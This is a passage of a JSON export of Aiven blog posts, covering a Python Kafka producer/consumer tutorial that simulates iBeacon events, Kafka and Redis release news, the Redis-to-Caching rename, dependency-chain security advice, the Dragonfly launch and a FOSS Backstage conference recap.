rules.\n\n\u003e In other words, the producer simply appends messages to the topic, and the consumer decides, by offset, which messages to consume from the topic!\n\nThe producer/consumer or _pub-sub_ model serves communication models, e.g. those within MSAs, particularly well when loose coupling between components and asynchronous communication is required. __Why?__\n\nBecause there is no time- or task- dependency between when the producer creates and sends a message and the consumer receives and/or acts on it. In other words, the producer produces messages in its own time — and at its own pace — and the consumer does the same, without worrying about synchronization locks.\n\nOur demo, which we’ll walk through in the following sections, illustrates this.\n\n## Setting up your Aiven Kafka instance\n\nWe’ll start by spinning up an Aiven Kafka service in the cloud. In Aiven’s _Services_ pane, simply create a new Kafka service instance as shown below:\n\n![gif of creating new service in aiven console](https://cdn.sanity.io/images/sczeoy4w/production/0926b289c261c2436467ed76e4c89acfa81b0095-1048x595.gif)\n\n\nFrom the _Connection parameters_ section within the Kafka service’s overview pane, copy the URL (you’ll reference it in your producer and consumer code later on).\n\n![image of service overview pane in aiven console](https://cdn.sanity.io/images/sczeoy4w/production/fb1227930a2190f1861fd20496cc8392151aa696-1041x601.png)\n\nAlso, generate the following files and copy them to the local directory where your producer and consumer files will be created:\n- `ca.pem`\n- `service.cert`\n- `service.key`\n\n![image of keys and certificates in aiven console](https://cdn.sanity.io/images/sczeoy4w/production/7ff0ff99ba2de444bde9991429983bb693a3db44-646x140.png)\n\nFinally, from the Kafka service’s _Topics_ tab, generate a topic called `demo-topic`. This is the topic you’ll be writing to:\n\n![gif of creating a kafka topic in the aiven console](https://cdn.sanity.io/images/sczeoy4w/production/125fe06a3a0b9af31dc87c897b2a0a8074b67e40-1048x595.gif)\n\n## Introducing the ibeacon\nThe ibeacon is a hardware transmitter and a protocol developed by Apple and introduced at the WWDC in 2013. Additional vendors have followed up with beacon systems of their own, following the same protocol. The technology allows other devices such as smartphones, tablets and other devices do certain things when in specified proximity to a given beacon.\n\nThese include actions like determining a device's (and customer’s) physical location, tracking customers, sending targeted ads to customer devices based on where in the retail space the customers are located, and so on. The ibeacon protocol and methods are similar, in function, to those derived from GPS, but more accurate to smaller locations and less battery-intensive.\n\nFor our purposes, we’ll be simulating an ibeacon that sends events with the following fields:\n\n- `uuid`: universally unique identifier for a specific beacon. Ours are 27 chars in length.\n\n- `Major`: value assigned to a specific ibeacon to incrementally fine-tune identification beyond `uuid.Major`corresponds to a specific group of beacons, for example, those located in a specific department or floor.\n\n\u003e Major values are unsigned integers between __0__ and __65535__\n\n- `Measured power`: this is a factory-calibrated, read-only constant which indicates what the expected RSSI is at a distance of one meter to the beacon.\n\n- `rssi`: stands for _Received Signal Strength Indicator_, and indicates the beacon’s signal strength from the point of view of the receiver, for example, customer’s tablet. Combined with measured power, these two settings let you estimate the distance between the device and the beacon.\n\n- `accuracy`: some ibeacon devices also calculate a string for signal accuracy.\n\n- `proximity`: ‘_Near_’, ‘_Immediate_’, ‘_Far_’, and ‘_Distant_’.\n\nFor demo purposes, we’ve made some shortcuts. As we’ve configured it, our producer will produce the events at a pace that’s faster than the consumer consumes them. This is actually OK, as we want to illustrate how Kafka provides some temporary persistence for stored messages that have not yet been delivered.\n\n## Setting up your producer\n\nThe code below should get you started: go [here](https://gist.github.com/Jammink2/d190644ad9593159bcb7e7b083935aa7) to view the whole code block.\n\n~~~\nfor i in range(iterator):\n    #slow down / throttle produce calls somewhat for demo\n    sleep(1)\n    # get values\n    uuid = str(generate_uuid(length=27))\n    major = str(generate_major(length=5))\n    measured_power = str(generate_measuredPower())\n    rssi = str(generate_rssi())\n    accuracy_substring = str(generate_accuracy_substring(length=16))\n    proximity_choice = str(choose_proximity())\n\n    message = \"message number \" + str(i) + \" uuid: \" + uuid + \" major: \" + \" measured_power: \" + measured_power + \" rssi: \" + rssi + \" accuracy_substring: \" + accuracy_substring + \" proximity_choice: \" + proximity_choice\n\n    print(\"Sending: {}\".format(message))\n    producer.send(\"demo-topic\", message.encode(\"utf-8\"))\n    producer.flush()\n~~~\n\nThis code simulates an ibeacon - it sets up and calculates the kind of fields that your ibeacon is likely to send, packs the fields into a message, and sends the message along as a Kafka producer message. For the sake of simplicity, we’ve avoided JSON handling for now. Rinse, lather, repeat.\n\nWe’ve added a short sleep between message iterations so that you can actually see the messages go by on the console as they are produced.\n## Setting up your consumer\nThe code below should get you started: go [here](https://gist.github.com/Jammink2/d9599f0c20586b5d0bfbb23f6bc2e622) to view the whole code block.\n~~~\nwhile True:\n    raw_msgs = consumer.poll(timeout_ms=100000)\n    for tp, msgs in raw_msgs.items():\n        for msg in msgs:\n            print(\"Received: {}\".format(msg.value))\n~~~\n## Running it all together\nOpen two command prompts, set to your current directory.\n\n- In one, enter: `$ python ibeacon_producer.py 500000`\n\nIn fact, you can set the tail value to anything you want, but setting it to a higher value simply ensures that the producer will run continuously, and the consumer, to be run on the next step, doesn’t immediately time out.\n\n- In the second command prompt, enter: `$ python ibeacon_consumer.py`\n\nNow you should have the producer and consumer running side by side, as follows:\n\n![gif of kafka producer](https://cdn.sanity.io/images/sczeoy4w/production/711b9ae842fded681b4a98664fc936ad677c99bb-1247x1349.gif)\n\nIn this example, we have the producer writing to the log faster than the consumer is reading it (it’s built into the scripts, also). This was done so intentionally, using `sleep` commands in each, to illustrate that the consumer need not be tightly coupled to the producer and can consume events — the ones it chooses — at its own pace.\n\n## Wrapping up\n\nWe’ve reviewed the producer-consumer (or pub/sub) communication model and looked at why it may be quite useful for systems that require asynchronous communication between components.\n\nThen, we’ve set up an Aiven Kafka Instance, implemented a producer and a consumer, and then run the lot together. Our consumer ingests messages slower than our producer writes them, thus demonstrating how Kafka can serve as a _temporary_ persistence store for messages that have yet to be read.\n\nWe’ve also demonstrated how easy Aiven Kafka is to set up and use. [Aiven Kafka](https://aiven.io/kafka) is a fully-managed, high-throughput messaging system with built-in monitoring, enabling you to decouple your services, simplify your development and focus on development.\n\nBy choosing Aiven to manage and host your cloud Kafka clusters, you get the benefits of Kafka without the risk and opportunity costs associated with it. There’s no risk with our 30-day trial. Try [us out](https://console.aiven.io/signup) or [contact us](https://aiven.io/about#about-contact) today!","categories":[{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-9a3754ef1c8f1051cf4a179dbca1d8cd457e64df-752x405-png","_type":"reference"}},"publishedAt":"2019-05-07T00:00:00.000Z","seo":{"metaDescription":"Aiven for Apache Kafka® simplifies data streaming for seamless integration and enhanced performance. Find out more in our blog and optimize your workflows!","metaImage":{"alt":"","asset":{"_ref":"image-9a3754ef1c8f1051cf4a179dbca1d8cd457e64df-752x405-png","_type":"reference"}},"metaTitle":"Data streaming made easy with Apache Kafka®"},"slug":{"_type":"slug","current":"/blog/data-streaming-made-simple-with-apache-kafka"},"subtitle":"Data streaming made easy with Apache Kafka®","title":"Data streaming made easy with Apache Kafka®"}
{"__i18n_lang":"en","_createdAt":"2024-08-02T16:58:34Z","_id":"9124781f-65ff-40ca-a474-fad2e252df20","_rev":"sEwq5NBiPauorOxrhj5ktK","_type":"post","_updatedAt":"2024-11-19T11:41:48Z","authors":[{"_key":"76607a90f0e6","_ref":"6kbIS9XcSGAirsTtwXqhdf","_type":"reference"}],"body":"As a release manager for this version, I want to personally thank all users and the team of 200+ contributors for the release of Apache Kafka® 3.8.0. This was truly a community effort to bring new features and improvements to an open source streaming platform used by thousands of organizations worldwide.\n\nThis release contains many new features and improvements, including fixes and improvements from 456 JIRA tickets, so the team has been quite busy. An overview of the release can be found in the Apache Kafka's announcement [blog post](https://kafka.apache.org/blog#apache_kafka_380_release_announcement). For a full list of changes, be sure to check the [release notes](https://www.apache.org/dist/kafka/3.8.0/RELEASE_NOTES.html). The Kafka documentation includes a section on [Upgrading to 3.8.0 from any version 0.8.x through 3.7.x](https://kafka.apache.org/documentation.html#upgrade_3_8_0) to guide you through the notable changes and the upgrade process. I encourage you to check out each of these fantastic resources. .\n\n## Aiven’s contribution to Apache Kafka and open source software\nApache Kafka is an open source, data streaming platform designed to handle large-scale, real-time data streams. It was originally developed by LinkedIn and later donated to the Apache Software Foundation in 2011. It is one of Apache’s most popular projects, and is the de facto standard for data streaming. Kafka is highly scalable and fault tolerant, providing a durable platform for streaming data with extremely low latency. More than 80% of Fortune 100 companies trust and use Apache Kafka.\n\nIn addition to its versatility, Apache Kafka is open source and has a committed, savvy community behind it. With Aiven’s focus on open source and taking the pain out of managing it, we saw the value of Apache Kafka early on and were the first to offer managed Apache Kafka in the cloud. \n\nAt Aiven, we live the values of open source software (OSS) sustainability through our [Open Source Program Office](https://aiven.io/open-source). Specifically, Aiven has a dedicated team working on open source Apache Kafka full time: This unique approach sets us apart from many other companies where contributors are forced to juggle between product and OSS.\n\nRemember, using open source software is free, but the work that goes into maintaining it does not just magically happen. You can check the projects we maintain at [Aiven’s projects on GitHub](https://github.com/aiven-open). We welcome contributions to all our projects. \n\nWe are committed to building out our [data and AI platform](https://aiven.io/platform) and [Aiven for Apache Kafka](https://aiven.io/kafka) capabilities to make it easier and faster for you to deploy widely adopted technologies across multiple clouds with just a few clicks to stream, store, and serve your data.","categories":[{"_key":"4d60ea91c4f5","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-68b2094b33901f10a67db847930b1532c1db8de3-1200x628-png","_type":"reference"}},"publishedAt":"2024-08-02T17:42:50.885Z","related":[{"_key":"c03940764f09","_ref":"8b556977-dfaf-4620-b4da-f81d0c19f3b5","_type":"reference"},{"_key":"966ead2ba31c","_ref":"005ef164-918b-4dbb-962f-a3063bc4f8e5","_type":"reference"},{"_key":"dad5ff2e4dc8","_ref":"3c62d57c-a82b-416e-b33e-a49fadcaec1d","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Apache Kafka 3.8.0 is here! Discover new features and improvements to an open source streaming platform used by thousands of organizations worldwide."},"slug":{"_type":"slug","current":"/blog/apache-kafka-380-released"},"subtitle":"The Apache Kafka community is pleased to announce the release of Apache Kafka® 3.8.0.","title":"Apache Kafka 3.8.0 Released"}
{"__i18n_lang":"en","_createdAt":"2022-10-04T07:56:51Z","_id":"6tQ87KyXntDC9CWlwPKf3h","_rev":"h4ancfFTuSnQNBSq3JDABg","_type":"post","_updatedAt":"2024-11-19T11:08:22Z","authors":[{"_key":"LvoXSx2wcnnIY178tIEa3","_ref":"LvoXSx2wcnnIY178tIEa3","_type":"reference"}],"body":"Redis® 7.0 introduces improvements to almost every aspect of the popular open source database. Here’s some of the most notable new features:\n\n- Enhanced scripting with Redis Functions\n- Improved access control management with ACLv2\n- The addition of almost 50 new commands \n\nAt the same time, a lot of effort has gone into making Redis even more performant and stable than before.\n\n__Redis Functions__ brings a new solution for scripting in Redis, allowing users to load custom function libraries to Redis. Unlike earlier ephemeral scripts using the EVAl command, which left management of the scripts to the applications, Redis now manages functions as an integral part of the database and ensures their availability through data persistence and replication. \n\n__ACLv2__ adds two important new capabilities for access control lists, while maintaining compatibility with earlier versions:\n\n- ACLv2 adds support for multiple sets of ACL rules - called selectors - that are evaluated independently.\n- ACLv2 allows you to set access type permissions to specific keys, making it possible to to exclusively limit the user to read-only, write-only, or read-write operations to a subset of the keys.\n\nPlease note that ACLv2 is not yet available in Aiven for Caching, but we are working on it and expect to release the functionality soon.\n\nRedis version 7.0 adds almost __50 new commands__ and options to support the evolution of Redis, and to extend its existing capabilities. And the following data types, just for example, all have added functionality that supports their use cases for data management:\n\n- bitmap\n- list\n- set\n- sorted set\n- stream\n\n### How to get started with Aiven for Caching 7\n\nIf you already use Aiven for Caching, you can upgrade as you see fit. Otherwise, your service will be upgraded in specific cases - like if you change your current plan or the replacement of a node upon failure.\n\nIf you’re not using Aiven for Caching yet, maybe you should be! Go ahead and read more about Redis in our Introduction to Redis, or [visit our Aiven for Caching page](https://aiven.io/caching \"Aiven for Caching\") to get started.","categories":[{"_key":"3SF1hzDKGSWII7ZpbyTg8M","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-56071535c9fd0b4e57c7c1dbe02599527c9e0f8f-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-07T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Redis® 7.0 introduces improvements to almost every aspect of the popular open source database. Discover the most notable new features in the Aiven blog!","metaImage":{"alt":"","asset":{"_ref":"image-56071535c9fd0b4e57c7c1dbe02599527c9e0f8f-1567x844-png","_type":"reference"}},"metaTitle":"Redis® 7 available on the Aiven platform | Read more!"},"slug":{"_type":"slug","current":"/blog/redis-7-is-here"},"subtitle":"The best Redis® ever - version 7.0 - is now available on the Aiven platform.","title":"Redis® 7 is here"}
{"__i18n_lang":"en","_createdAt":"2024-05-08T14:50:55Z","_id":"ab689ad8-7a84-427f-b8ae-6f9656c8c9bf","_rev":"sEwq5NBiPauorOxrhj4Eie","_type":"post","_updatedAt":"2024-11-19T11:31:01Z","authors":[{"_key":"824ff42d1ea0","_ref":"ede81389-d839-4a48-9532-776f85268f0c","_type":"reference"}],"body":"**Update: As of May 28, 2024, this name change has been implemented**\n\n\nIn March, a new licensing model was announced for Redis®*, which will impact the Aiven for Redis®* service. From May 1st onwards, Redis® releases up to and including Redis 7.2 will continue to be covered by the existing three-clause Berkeley Software Distribution (BSD) license. Future versions of Redis, beginning with version 7.4, will be released under [new dual source-available licenses](https://redis.io/blog/redis-adopts-dual-source-available-licensing/).\n\nThere are *no immediate changes* to existing Aiven for Redis®* services or any of their functionality. To comply with Redis's copyright and license agreements going forward, however, we will be changing the name of **Aiven for Redis®** services to **Aiven for Caching**.\n\n## What's changing (and what isn't)\n\nThe most important thing to note about the forthcoming name change is that **current customers do not need to take any immediate action**. At this time, the service itself, any associated API endpoints, CLI calls or other functionality associated with creating or using an Aiven for Redis®* service will not change.\n\nSo what will be changing?\n\nIn accordance with the updated [Redis Trademark Policy](https://redis.io/legal/trademark-policy/), we'll be updating all references to Aiven for Redis®* on aiven.io web pages and the Aiven console to Aiven for Caching. The service itself will remain compatible with legacy Redis® OSS, and we will continue to provide updates until early 2025.\n\n## The future of in-memory databases at Aiven\n\nWhile there's more than a year before the Redis® 7.2 EOL, you might rightly ask, \"what happens after that?\" We're pleased to report that Aiven will continue to provide options for customers looking for the best in-memory NoSQL databases. \n\nWe recently launched [Aiven for Dragonfly](https://aiven.io/dragonfly), which uses the same underlying Redis Serialization Protocol (RESP) and is fully compatible with legacy Redis® OSS. It also provides exceptional performance and scalability improvements. You can read more about [the Aiven for Dragonfly launch](https://aiven.io/blog/aiven-for-dragonfly-unleash-super-fast-caching) and dig into [key features and use cases](https://aiven.io/blog/what-is-dragonfly) on the Aiven blog.\n\nThat said, Aiven for Dragonfly isn't for everyone. For customers looking to implement more modest use cases, or with a strong preference for solutions backed by open source technology, we've got you covered. The [Linux Foundation recently launched Valkey](https://www.linuxfoundation.org/press/valkey-community-announces-release-candidate-amid-growing-support-for-open-source-data-store), an open-source Redis® alternative released under the three-clause BSD license. [Aiven is proud to be an early supporter of the project](https://twitter.com/aiven_io/status/1780284720359641103), and we intend to incorporate Valkey into our platform in the near future.\n\n\\* *Redis is a registered trademark of Redis Ltd. and the Redis box logo is a mark of Redis Ltd. Any rights therein are reserved to Redis Ltd. Any use by Aiven is for referential purposes only and does not indicate any sponsorship, endorsement or affiliation between Redis and Aiven.*\n\n\n## Further reading\n\n - [Caching with Aiven for Redis® and Express.js](https://aiven.io/blog/caching-with-nodejs-express-and-redis)","categories":[{"_key":"36156a9811a0","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"},{"_key":"a97a05f5deac","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Aiven for Redis will soon become Aiven for Caching","asset":{"_ref":"image-e0b0ec04ba6fe90cc11b845e0ef8beaba56fca9a-1200x628-png","_type":"reference"}},"publishedAt":"2024-05-08T16:30:33.633Z","related":[{"_key":"c7007a14a0bb","_ref":"2b6668a5-9493-497a-bf05-bc3dac0c8851","_type":"reference"},{"_key":"c89c2884542e","_ref":"45bbd63f-c7e8-4335-b72d-b661d24e06b8","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven for Redis® is now Aiven for Caching! Visit our blog to find out what is different and how these changes might affect your data workflows."},"slug":{"_type":"slug","current":"/blog/aiven-for-redis-becomes-aiven-for-caching"},"subtitle":"Aiven for Caching is a new name for the same NoSQL service you know and love.","title":"Aiven for Redis®* has become Aiven for Caching"}
{"__i18n_lang":"en","_createdAt":"2024-05-27T13:17:23Z","_id":"be9d3aa4-b2e9-47ca-a2c4-4b6cdc6f1945","_rev":"T130WEs22RB6SoEkOC6Ziy","_type":"post","_updatedAt":"2024-11-19T11:43:10Z","authors":[{"_key":"c3bea653bbf3","_ref":"6kbIS9XcSGAirsTtwXqhdf","_type":"reference"}],"body":"Open-source software (OSS) has become the backbone of modern software development, empowering developers with a vast ecosystem of freely available libraries, frameworks and tools. However, as the old saying goes, ‘there's no such thing as a free lunch’, and the over reliance on OS components introduces significant security risks that can compromise the entire software supply chain.\n\n## A can that can be kicked down the road\n\nLet’s talk about what’s referred to in the OSS community as the dependency chain. This is the interconnected network of software on which applications rely on to function. In modern development where engineers routinely accelerate the build by reusing existing code, it’s common for projects to depend on third-party libraries, open source or not, and custom internal packages with each addition lengthening the chain. And of course, a dependency can also have dependencies of its own.\n\nLittle wonder, then, that keeping track of one’s dependency chain can be complicated and therefore not something many businesses prioritize. Understanding the detail behind them is not mission-critical to enterprises laser-focussed on revenue or growth while, at the other end of the spectrum, start-ups and early-stage companies are interested in speed to market — often taking out technical debt in order to get there. For many in between, it’s simply a can that can be kicked down the road.\n\nThat is, until it becomes an issue, which it undoubtedly will because every link in the chain represents a potential threat window. The longer and more complicated the chain, the greater the risk of vulnerabilities or weaknesses that attackers can exploit.\n\n## The potential risk pitfalls ahead\n\nThe fact is that many companies do not know what they’re running in production. This needs to change because, until it does, businesses are not only exposed from a security point of view, but they have no idea where or how great the potential impact.As example of the possible pitfalls, the UK [Home Office ](https://engineering.homeoffice.gov.uk/standards/managing-security-software-dependencies/) recently published guidance on how to manage software dependencies while the risk of poorly managed software dependencies is regularly included in the Open Worldwide Application Security Project’s (OWASP) ‘[top 10 security applications risks](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/)’.\n\nWe don’t need to look back far for evidence of the damage a compromised dependency chain can do. Earlier this year, a lone Microsoft developer rocked the world when he revealed a backdoor had been intentionally planted in [XZ Utils](https://www.bleepingcomputer.com/news/security/red-hat-warns-of-backdoor-in-xz-tools-used-by-most-linux-distros/), an OSS data compression utility available on almost all installations of Linux. The malicious code was injecting itself during the build process hidden way below the surface of what businesses are traditionally concerned with and granted unauthorized access to execute commands on affected machines.\n\n\n## Mitigating damage in dependency\n\nThe more essential the tool that can be hijacked, the higher the chance it has to reach production environments. This is why businesses must adopt a best-practice approach to improving security, which can be done in two, simple steps.\n\n1). Know your dependency chain - businesses have to know what they are dealing with and this means keeping a software bill of materials (SBOM)\n2). Check it is up to date - Once they have it, businesses must check if the libraries they are using are the right and up-to-date versions. This sounds complicated and tedious given the nuanced and often minor amends that are made to software programmes but there are tools on the market that can do this quickly and easily. The [OSS review toolkit](https://github.com/oss-review-toolkit/ort) analyzes a business SBOM and highlights vulnerabilities or changes automatically.  \n\nBeyond this, OSS projects already use many strategies to safeguard security. These include validation — where developers use the community to check for vulnerabilities or deficiencies in software before it’s released to the general public. Bounty programs are also one of the most effective ways to keep open source projects secure. This is where researchers are offered a financial incentive for finding issues and ways to exploit them, fixing software bugs or implementing minor features. It’s a program Aiven uses to find vulnerabilities in our own software as well as in the upstream libraries we use.\n\n## Improvements to regulation\n\nIn parallel with these strategies, we’re also seeing new regulation that will support improvements to securing dependency chains. The [Cyber Resilience Act](https://digital-strategy.ec.europa.eu/en/library/cyber-resilience-act) (CRA) in the EU is a good starting point. However, each member state needs to now create a bill that is compliant with the framework that has been set and it needs due diligence on the OS community within each country covering areas like; ownership, liability and documentation. It cannot — must not — be created by politicians and businesses several steps removed from the reality of on-the-ground activity. The US is also working on similar regulations.\n\nAt an individual-level, companies within OSS work incredibly hard on securing their dependency chain, RedHat being a good example. It has people working full time working at upstream projects like the Linux kernel, to improve it and at the same time check for security vulnerabilities. At the other end of the spectrum, hyperscalers are investing heavily in OSS projects and, in doing so, imbuing stringent security measures in production. Beyond this, there are also the companies in the security space providing, sometimes paid, sometimes open source tools, on scanning, vulnerability reporting and threat detection — all of which is relieving the burden of manual work at a developer-level. \n\n## Secure the chain from top to bottom\n\nDespite all this, more needs to be done in order to ensure dependency chains are secured from the first level dependencies, to the ones buried several levels deep down. The consequences of not doing so are well documented — everything from loss of customer data and fines to the erosion of trust for both the business and compromised link in the chain.\n\nIt’s time to become proactive and put the first steps towards preventing the next security incident in our dependency chain.\n","categories":[{"_key":"24fed5971173","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"6dd70e741fea","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Blue background with white writing that reads \"Securing Your Open Source Dependency Chain\" with the Aiven logo in the bottom left hand corner","asset":{"_ref":"image-273c1158e6b01574935ef45ca71c135352eaafaf-1200x630-png","_type":"reference"}},"publishedAt":"2024-05-29T07:00:00.000Z","related":[{"_key":"9403bae95c5c","_ref":"8530b248-40c6-49bc-bde5-a290ed3684c7","_type":"reference"},{"_key":"51b82f74bc68","_ref":"a3acabfb-5261-424e-8619-090ddfdb12b3","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Did you already secure your open source dependency chain? All it takes are two simple steps. Find our more in the Aiven blog to avoid potential risks!"},"slug":{"_type":"slug","current":"/blog/securing-your-open-source-dependency-chain"},"subtitle":"Discover the two simple steps you can take to secure your open source dependency chain.","title":"Securing Your Open Source Dependency Chain"}
{"__i18n_lang":"en","_createdAt":"2024-03-07T21:00:22Z","_id":"45bbd63f-c7e8-4335-b72d-b661d24e06b8","_rev":"sEwq5NBiPauorOxrhj5xg1","_type":"post","_updatedAt":"2024-11-19T11:44:34Z","authors":[{"_key":"3436216b6805","_ref":"cd9f3dc9-f305-4c1c-9cc8-16587dece8b0","_type":"reference"}],"body":"Scalability and performance are major challenges for modern enterprise applications. [Aiven for Dragonfly](https://aiven.io/dragonfly), now generally available, delivers nearly 700 percent higher throughput (requests per second) and uses approximately 25 percent less memory compared to open source Redis® on similar hardware, according to our benchmark study[1]. For businesses, this translates to a boost in conversions by keeping users engaged with lightning-fast page loads and seamless interactions.\n\nAiven for Dragonfly handles massive in-memory data workloads with ease and speed, and is fully compatible with open source Redis. It utilizes the latest hardware for maximum compute power while delivering a significant savings on infrastructure costs. It is ideal for caching, gaming leaderboards, messaging, AI applications, and other real-time applications.  \n\nAiven for Dragonfly delivers: \n\n* Superior scalability — It handles large data volumes and processes hundreds of thousands of requests per second, making it ideal for caching and real-time applications like social media and online gaming.\n* Efficiency — It uses only a fraction of the resources required by other Redis-compatible solutions, making it an ideal choice for organizations seeking high throughput and cost savings without compromising performance.\n* Advanced capabilities — It goes beyond basic caching with support for JSON documents and vector search to unlock new possibilities for data-intensive applications like web and social, recommendation engines, natural language processing, and more.\n* Seamless management — Aiven for Dragonfly removes infrastructure complexities from backups and security to upgrades and cloud migrations, and delivers 99.99% uptime.\n* Compatibility — The new service offers a familiar Redis experience and easy migration from Aiven for Caching to Aiven for Dragonfly on one platform with no code changes.\n\nConrad Electronic provides an advanced sourcing platform for technical supplies to 21 million customers worldwide. Janek Wonner, Head of SRE, stated, \"Speed and scale are our game. Aiven for Dragonfly is a game-changer, with smooth migration, incredible performance, and seamless scaling. It's like having a data infrastructure that grows with us.\" \n\nOded Poncz, Co-Founder and CEO, Dragonfly says\n\u003e “We’re excited to welcome Aiven to the Dragonfly community. Aiven has shown a commitment to delivering high-performance, scalable data services to their customers, and we’re very pleased that they are able to utilize Dragonfly to deliver a service that will satisfy large, complex workloads that Redis could not scale to support.”\n\nFor more information on Aiven for Dragonfly, [click here](https://aiven.io/dragonfly). You can [get started](https://aiven.io/docs/products/dragonfly/get-started) with Aiven for Dragonfly by creating your service using the Aiven Console or Aiven CLI. If you already have Redis and want to migrate to Aiven for Dragonfly, check out our [guide](https://aiven.io/docs/products/dragonfly/howto/migrate-aiven-redis-df-console). For information on pricing, visit our [pricing page](https://aiven.io/pricing). If you are new to Aiven, a [free trial version](https://console.aiven.io/signup) is also available at signup for 30 days with a $300 credit. \n\n[1] Benchmark performed on an AWS environment, with instance types that vary from 8 CPUs and 64GB RAM, 16 CPUs and 256GB RAM, and 32CPUs and 512GB RAM.\n\n\n## Further reading\n\n- [Unlock 3 levels of awesome (E-Book download)](https://aiven.io/ebook/unlock-3levels-of-awesome)\n ","categories":[{"_key":"4ad2e7ec7c1c","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"2eec6361aea0","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Blue background with the Aiven logo in the bottom left and dragonfly logo on the bottom right that reads \"super-fast caching with Aiven for Dragonfly\"","asset":{"_ref":"image-65e6a8e1865ca2e657b7f9e3e5ce9ff052e56293-2500x1308-png","_type":"reference"}},"publishedAt":"2024-03-20T07:03:21.825Z","related":[{"_key":"847a18beb41b","_ref":"577fa3d1-0ee8-42eb-b60d-c4ba693d1a15","_type":"reference"},{"_key":"6ecb840f2ab7","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"},{"_key":"17d953c39655","_ref":"1408bc7f-be88-4390-a8b0-2b1e157f6fbe","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Did you know that Aiven for Dragonfly delivers a 700% performance boost to scale with your enterprise needs? Find out more about the solution in our blog!"},"slug":{"_type":"slug","current":"/blog/aiven-for-dragonfly-unleash-super-fast-caching"},"subtitle":"Aiven for Dragonfly delivers a 700% performance boost to scale with your enterprise needs","title":"Aiven for Dragonfly – Unleash Super-Fast Caching"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"2VOOLlooYXKXIQxnWNIqUK","_rev":"sEwq5NBiPauorOxrhj4uGQ","_type":"post","_updatedAt":"2024-11-19T11:35:14Z","authors":[{"_key":"5JCxTNOGlqEWGCJILDlrdc","_ref":"5JCxTNOGlqEWGCJILDlrdc","_type":"reference"},{"_key":"4eOoTE1EiQcR9UTalcanQG","_ref":"4eOoTE1EiQcR9UTalcanQG","_type":"reference"}],"body":"[FOSS Backstage](https://foss-backstage.de/ \"FOSS Backstage website\") was back in Berlin last month, this time as a hybrid event with the first day being fully online. Aiven’s Staff Developer Advocate, Floor Drees, and Community Manager, Ana Vasiliuk, ventured out (virtually) to hear some talks, and then wrote this blog post to share some of the __interesting developments__ in the open source community and the __key themes of the event:__ open source sustainability, contributor experience, open source licensing, and diversity and inclusion. \n\n## Open Source Sustainability\nHow to keep an open source project going once the novelty wears off was definitely one of the hottest topics at this year’s event. The schedule was packed with sessions on sustainability, ranging from broader discussions about funding, project health, and more practical content like tips and best practices. \n\nPatricia Leu and Marie Gutbub of Prototype Fund, a funding program for open source software at the Open Knowledge Foundation Germany, kicked off the second day with the keynote about [ways of keeping projects running besides funding](https://pretalx.com/foss-backstage-2022/talk/9Q99L9/ \"Link to the keynote session\") with some inspiring examples. \n\nDr. Wolfgang Gehring, FOSS Ambassador at Mercedes-Benz AG and its IT-subsidiary Daimler TSS, shared how they use GitHub Sponsors to [support the projects they rely upon](https://pretalx.com/foss-backstage-2022/talk/JJBV8A/ \"Link to the session\"). Wolfgang’s story of finding the right person to sign off on the program (ultimately it was their CISO) is certainly an interesting one for folks advocating for similar efforts at their organizations. \n\nRegina Nkemchor Adejo of IKEA raised the importance of mentorship as a way to sustain a project, help recruit newcomers, and retain skilled contributors. \n\nJennifer Fernick, Anne Bertucio and Christopher Robinson (aka CRob) [talked about CVEs](https://pretalx.com/foss-backstage-2022/talk/R3PVPW/ \"Link to the session about CVEs\"), and “the dance” with researchers reporting vulnerabilities. The gist of it: all complex software has flaws. What matters most is how you respond and patch. OSS vulnerabilities take years to detect - a typical vulnerability on GitHub goes undetected for over 4 years - but take mere days to exploit. The 2021 Open Source Security and Risk Analysis Report found that 84% of FOSS codebases had at least one vulnerability, with the average having 158 per codebase.    \n\nIt’ll come as no surprise to anyone that the Log4J vulnerability was often referenced at FOSS backstage. As was the famous [XKCD comic](https://xkcd.com/2347/ \"Link to the XKCD comic\"), when illustrating the risk of adding software to your stack that is maintained by an individual, in their free time. \n\n## Licensing\nRelicensing is an issue that is looming in nowadays open source communities, with recent cases of companies deciding to go no-OSS or OS contributors sabotaging (their) projects. How do we as contributors or users prepare for such changes? \n\nIn his session, [Dotan Horovits of Logz.io talked about three recent case studies](https://pretalx.com/foss-backstage-2022/talk/VYZTPB/ \"Link to Dotan's session\"): Elasticsearch, Grafana, and colors.js and faker.js - two popular NPM libraries by the same author - and shared some advice for dealing with such situations: \n\n- Companies shouldn’t think of OSS as a business model. If you’re a vendor choosing the OSS path, build a sustainable business model that is independent of the core of the OS project. \n- If you’re a maintainer, don’t expect material compensation or establish a vendor entity around the open source project if you want to get compensated. \n- If you’re a user, manage your third party 